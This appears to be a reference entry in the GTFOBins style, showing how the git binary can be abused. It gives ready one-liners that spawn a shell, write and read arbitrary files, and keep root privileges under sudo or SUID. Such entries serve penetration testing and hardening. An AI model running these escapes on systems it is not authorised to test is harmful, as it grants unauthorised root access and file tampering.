git
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
PAGER='/bin/sh -c "exec sh 0<&1"' git -p helpThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.PAGER='/bin/sh -c "exec sh 0<&1"' git -p help - This function can be performed by any unprivileged user.
git init . echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit chmod +x .git/hooks/pre-commit git -C . commit --allow-empty -m xThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.git init . echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit chmod +x .git/hooks/pre-commit git -C . commit --allow-empty -m x - This function can be performed by any unprivileged user.
ln -s /bin/sh git-x git --exec-path=. xThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.ln -s /bin/sh git-x git --exec-path=. xThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.ln -s /bin/sh git-x git --exec-path=. x -p
File write
This executable can write data to local files.
- This function can be performed by any unprivileged user.
git apply --unsafe-paths --directory / x.patchThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.git apply --unsafe-paths --directory / x.patchThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.git apply --unsafe-paths --directory / x.patch
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
git diff /dev/null /path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.git diff /dev/null /path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.git diff /dev/null /path/to/input-file
Inherit
This executable can inherit functions from another.
- This function can be performed by any unprivileged user.
git help configThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.git help config - This function can be performed by any unprivileged user.
git branch --help config !/bin/shThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.git branch --help config !/bin/sh